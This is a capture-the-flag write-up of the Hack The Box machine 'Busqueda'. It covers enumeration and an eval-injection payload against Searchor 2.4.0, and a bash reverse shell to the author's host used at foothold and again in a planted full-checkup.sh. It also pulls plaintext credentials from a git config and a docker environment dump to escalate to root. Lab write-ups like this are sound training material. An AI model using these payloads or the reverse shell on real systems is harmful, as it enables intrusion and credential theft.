Busqueda Writeup

12 August 2023 #CTF #HTB #box #easy #linux

busqueda info

Enumeration

nmap

$ sudo nmap -sC -sV 10.129.199.213
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

This web app allows us to search for something and choose the search engine:

index

Clicking on the 'Search' button we get the link for the query using the search engine we specified (not sure if that's really useful tho):

search

We see the tech stack used by the application in the footer of the page:

versions

Searchor is an open source project. Throwing the version into google, we come across this Snyk entry for an RCE caused by an insecure eval usage.

Foothold

There is no PoC available, so we'll need to do it ourselves. Let's start by downloading the vulnerable version locally:

$ wget https://github.com/ArjunSharda/Searchor/archive/refs/tags/v2.4.0.zip
[...]
$ unzip v2.4.0.zip
[...]
$ cd Searchor-2.4.0
$ python3 -m venv .venv
$ source .venv/bin/activate
(.venv) $ pip3 install .
[...]
(.venv) $ searchor search Bing asdf
https://www.bing.com/search?q=asdf

We're using a virtual environment to keep things clean.

The call to eval is in src/searchor/main.py:

@click.argument("engine")
@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
[...]

click is a library for parsing command line arguments. In this case, engine and query are positional arguments used for searchor search <engine> <query>. We clearly have full control over these two arguments.

To keep things simple, we'll specify an existing engine so that the search method actually exists. We'll do the injection in the query parameter:

(.venv) $ searchor search Bing "'*__import__('os').system('echo IT WORKS')*'"
IT WORKS
Traceback (most recent call last):
[...]

We use a single quote ' to break out of the string, then use a one-liner to execute os.system. We are also using the multiplication operator * between the quotes to make it valid python (this can be a + or - as well).

Strings in python support arithmetic operators. For example if you do "A" * 3 you get AAA. This is what happens in our exploit:

Engine.Bing.search(''*__import__('os').system('echo IT WORKS')*'', ...)

Before multiplying the strings, python needs to know the return value of the system function so it executes it first. Of course, we get an error after but we don't care since our command got executed.

Bonus: getting rid of the errors:

(.venv) $ searchor search Bing "'*__import__('os').system('echo IT WORKS')*2+'"
IT WORKS
https://www.bing.com/search?q=

Let's intercept the request in Burp and get a reverse shell:

get shell

I have a file index.html in my webserver directory that contains bash -i >& /dev/tcp/10.10.14.6/443 0>&1.

Privesc

We can get some creds in the config file for the git repo of the web app:

svc@busqueda:/var/www/app$ cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

or:

svc@busqueda:/var/www/app$ git config --list
user.email=cody@searcher.htb
user.name=cody
core.hookspath=no-hooks
safe.directory=/var/www/app
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true
remote.origin.url=http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
remote.origin.fetch=+refs/heads/*:refs/remotes/origin/*
branch.main.remote=origin
branch.main.merge=refs/heads/main

Cody isn't a user on this box and the password doesn't work for root but it does work for our user:

svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

We can run this system-checkup.py script as root. However, we can't view the source code:

svc@busqueda:/opt/scripts$ cat system-checkup.py
cat: system-checkup.py: Permission denied

Running the script gives some information:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py -h
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

It's basically a wrapper for some docker commands (ps and inspect). We don't know what the full-checkup does for now.

We can use the docker-inspect subcommand to dump the environment of running containers:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{range .Config.Env}}{{printf "%s\n" .}}{{end}}' gitea
USER_UID=115
USER_GID=121
GITEA__database__DB_TYPE=mysql
GITEA__database__HOST=db:3306
GITEA__database__NAME=gitea
GITEA__database__USER=gitea
GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
USER=git
GITEA_CUSTOM=/data/gitea

The database password for the Gitea container is reused for the administrator account. There is a repo containing the python script:

gitea repo

Here the relevant part for the full-checkup subcommand:

[...]
elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)
[...]

This will just execute a script called full-checkup.sh in the current directory. Let's create it:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.6/443 0>&1

This will just send us a reverse shell on port 443 (same payload as foothold).

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkup

And boom we get a root shell:

root@busqueda:/home/svc# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways